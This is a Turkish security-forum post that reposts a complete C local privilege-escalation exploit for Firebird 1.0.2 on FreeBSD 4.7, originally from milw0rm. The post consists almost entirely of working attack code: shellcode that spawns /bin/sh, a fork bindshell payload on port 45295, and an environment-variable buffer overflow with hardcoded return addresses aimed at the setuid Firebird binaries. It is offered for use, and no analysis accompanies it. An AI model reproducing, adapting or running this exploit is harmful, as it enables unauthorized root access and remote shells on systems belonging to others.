THT DUYURU

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...

takipci
chat
Seçenekler

Firebird 1.0.2 (FreeBSD 4.7-RELEASE) - Local Privilege Escalation

THROOT - ait Kullanıcı Resmi (Avatar)
Deneyimli Moderatör
Üyelik tarihi:
03/2018
Nereden:
NEREYE
Mesajlar:
2.468
Konular:
693
Teşekkür (Etti):
326
Teşekkür (Aldı):
401
Ticaret:
(0) %
bir Hafta önce
#1
Firebird 1.0.2 (FreeBSD 4.7-RELEASE) - Local Privilege Escalation
/* DSR-firebird.c
-------------------------------
Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE
This is Proof Of concept code.
bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( ( by - bob@dtors.net ) )
----------------------------------------------------

Usage: ./DSR-firebird <target#>
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop

bash-2.05a$
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056

char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

char inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";



char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by
bob
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";

char *decide(char *string)
{
if(!(strcmp(string, "1")))
return((char *)&inetcode);
if(!(strcmp(string, "2")))
return((char *)&lockcode);
if(!(strcmp(string, "3")))
return((char *)&dropcode);
exit(0);
}

int main(int argc, char **argv)
{

unsigned long ret = 0xbfbff743;

char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;



if(argc < 2)
{
printf("( ( Firebird-1.0.2 Local exploit for Freebsd
4.7 ) )\n");
printf("( ( by -
bob@dtors.net ) )\n");
printf("---------------------------------------------------
-\n\n");
printf("Usage: %s <target#> \n", argv[0]);
printf("Targets:\n");
printf("1. [0xbfbff743] - gds_inet_server\n");
printf("2. [0xbfbff743] - gds_lock_mgr\n");
printf("3. [0xbfbff743] - gds_drop\n");
printf("\nwww.dtors.net\n");
exit(0);
}

selectcode = (char *)decide(argv[1]);
memset(buffer, 0x41, sizeof(buffer));

ptr = egg;

for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
egg[1024 - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);

memcpy(&buffer[1052],(char *)&ret,4);
buffer[1056] = 0;

setenv("INTERBASE", buffer, 1);

fprintf(stdout, "Return Address: 0x%x\n", ret);
fprintf(stdout, "Buffer Size: %d\n", LEN);
fprintf(stdout, "Setuid [90]\n");

if(selectcode == (char *)&inetcode)
{
execl(INET, INET, NULL);
return 0;
}

if(selectcode == (char *)&lockcode)
{
printf("\nShell is on port 45295\nExploit will hang!\n");
execl(LOCK, LOCK, NULL);
return 0;
}

if(selectcode == (char *)&dropcode)
{
execl(DROP, DROP, NULL);
return 0;
}


return 0;
}


// milw0rm.com [2003-05-12]

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler